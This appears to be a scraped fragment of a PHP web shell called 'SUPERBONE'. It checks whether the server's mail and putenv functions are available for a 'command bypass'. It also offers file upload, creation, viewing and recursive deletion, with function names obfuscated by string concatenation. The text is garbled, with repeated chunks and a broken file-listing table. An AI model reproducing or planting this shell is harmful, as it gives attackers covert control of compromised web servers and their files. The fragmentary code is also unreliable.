545
copyright © SUPERBONE IN HERE
[ mail() : [ ON ] ]";
} else {
$mail = "[ mail() : [ OFF ] ]";
}
if(function_exists('mb_send_mail')) {
$mbb = "[ mb_send_mail() : [ ON ] ]";
}else{
$mbb = "[ mb_send_mail() : [ OFF ] ]";
}
if(function_exists('error_log')) {
$errr = "[ error_log() : [ ON ] ]";
}else{
$errr = "[ error_log() : [ OFF ] ]";
}
if(function_exists('imap_mail')) {
$impp = "[ imap_mail() : [ ON ] ]";
}else{
$impp = "[ imap_mail() : [ OFF ] ]
"; } echo "[ Command Bypas Status MAIL PUTENV @ SUPERBONE]
"; if (function_exists('mail')) { echo $mail." ".$mbb." ".$errr." ".$impp; } else { echo $mail." ".$mbb." ".$errr." ".$impp; } if (function_exists('putenv')) { echo "[ Function putenv() ] : [ ON ]
"; } else { echo "[ Function putenv() ] : [ OFF ]
"; } foreach ($_GET as $c => $d) $_GET[$c] = y($d); $currentDirectory = $ril(isset($_GET['d']) ? $_GET['d'] : $rootDirectory); $chd($currentDirectory); $viewCommandResult = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['fileToUpload'])) { $target_file = $currentDirectory . '/' . $bs($_FILES["fileToUpload"]["name"]); if ($mup($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "
File " . $htm($bs($_FILES["fileToUpload"]["name"])) . " Upload success
"; } else { echo "
Sorry, there was an error uploading your file.
"; } } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) { $ff = $_POST['folder_name']; $newFolder = $currentDirectory . '/' . $ff; if (!file_exists($newfolder)) { if ($mek($newFolder) !== false) { echo '
Folder created successfully!'; }else{ echo '
Error: Failed to create folder!'; } } } elseif (isset($_POST['file_name'])) { $fileName = $_POST['file_name']; $newFile = $currentDirectory . '/' . $fileName; if (!file_exists($newFile)) { if ($fpc($newFile, '') !== false) { echo '
File created successfully!' . $fileName .' '; $fileToView = $newFile; if (file_exists($fileToView)) { $fileContent = $fgc($fileToView); $viewCommandResult = '
'; echo '
';
echo $viewCommandResult;
echo '';
echo '

";
function deleteDirectory($dir) {
$unl = "u"."n"."l"."i"."n"."k";
if (!file_exists($dir)) {
return true;
}
if (!is_dir($dir)) {
return $unl($dir);
}
$scd = "s"."c"."a"."n"."d"."i"."r";
foreach ($scd($dir) as $item) {
if ($item == '.' || $item == '..') {
continue;
}
if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
return false;
}
}
return rmdir($dir);
}
?>
"; } echo "[ Command Bypas Status MAIL PUTENV @ SUPERBONE]
"; if (function_exists('mail')) { echo $mail." ".$mbb." ".$errr." ".$impp; } else { echo $mail." ".$mbb." ".$errr." ".$impp; } if (function_exists('putenv')) { echo "[ Function putenv() ] : [ ON ]
"; } else { echo "[ Function putenv() ] : [ OFF ]
"; } foreach ($_GET as $c => $d) $_GET[$c] = y($d); $currentDirectory = $ril(isset($_GET['d']) ? $_GET['d'] : $rootDirectory); $chd($currentDirectory); $viewCommandResult = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['fileToUpload'])) { $target_file = $currentDirectory . '/' . $bs($_FILES["fileToUpload"]["name"]); if ($mup($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "
File " . $htm($bs($_FILES["fileToUpload"]["name"])) . " Upload success
"; } else { echo "
Sorry, there was an error uploading your file.
"; } } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) { $ff = $_POST['folder_name']; $newFolder = $currentDirectory . '/' . $ff; if (!file_exists($newfolder)) { if ($mek($newFolder) !== false) { echo '
Folder created successfully!'; }else{ echo '
Error: Failed to create folder!'; } } } elseif (isset($_POST['file_name'])) { $fileName = $_POST['file_name']; $newFile = $currentDirectory . '/' . $fileName; if (!file_exists($newFile)) { if ($fpc($newFile, '') !== false) { echo '
File created successfully!' . $fileName .' '; $fileToView = $newFile; if (file_exists($fileToView)) { $fileContent = $fgc($fileToView); $viewCommandResult = '
Result: ' . $fileName . '
'; echo '
|
|
| Permissions | ||||||
|---|---|---|---|---|---|---|
| '.$v.' | '.filesize($u).' | '.date('Y-m-d H:i:s', filemtime($u)).' | '.$permission.' |
